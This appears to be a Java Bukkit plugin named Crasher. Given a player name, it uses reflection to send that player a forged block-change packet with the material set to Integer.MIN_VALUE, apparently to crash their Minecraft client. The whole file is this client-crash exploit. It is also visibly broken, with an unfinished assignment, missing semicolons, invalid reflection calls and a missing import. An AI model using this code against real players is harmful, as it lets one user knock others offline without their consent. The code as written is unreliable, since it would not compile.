Crasher.java

import java.util.ArrayList;

import org.bukkit.command.Command;
import org.bukkit.command.CommandSender;
import org.bukkit.entity.Player;
import org.bukkit.plugin.java.JavaPlugin;

public class Crasher extends JavaPlugin {

  @Override
	public boolean onCommand(CommandSender sender, Command cmd, String label, String[] args) {		
		if (args.length >= 1) {		
			ArrayList<Player> possibleMatches = new ArrayList<Player>();
			for (Player p : getServer().getOnlinePlayers()) 
				if (p.getName().contains(args[0])) 
					possibleMatches.add(p);		
			
			if (possibleMatches.size() > 1) {
				sender.sendMessage("I found more than one player with a similar name.");
				return true;
			} else {
				Player p = possibleMatches.get(0);
				String ver = // Parse CB version String for something like "v1_4_R1"
		
        Class p53 = Class.forName("net.minecraft.server." + ver + ".Packet53BlockChange");				
		    Object packet = p53.getConstructor().newInstance();
		    p53.getDeclaredField("a", int.class).set(packet, p.getLocation().getX()) 
		    p53.getDeclaredField("b", int.class).set(packet, p.getLocation().getY()) 
	      p53.getDeclaredField("c", int.class).set(packet, p.getLocation().getZ()) 
	      p53.getDeclaredField("data", int.class).set(packet, 0);
	      p53.getDeclaredField("material", int.class).set(packet, Integer.MIN_VALUE);
	      p53.getDeclaredField("lowPriority", boolean.class).set(packet, false);
	      Object entityPlayer = Class.forName("org.bukkit.craftbukkit." + ver + ".entity.CraftPlayer").getDeclaredMethod("getHandle").invoke(p);        
	      Object playerConnection = entityPlayer.getClass().getDeclaredField("playerConnection").get(entityPlayer);
	      playerConnection.getClass().getDeclaredMethod("sendPacket", Class.forName("net.minecraft.server." + ver + ".Packet")).invoke(playerConnection, packet);
				return true;
			}			
		}		
		sender.sendMessage(ChatColor.RED + "You must specify a player name!");		
		return false;
	}
}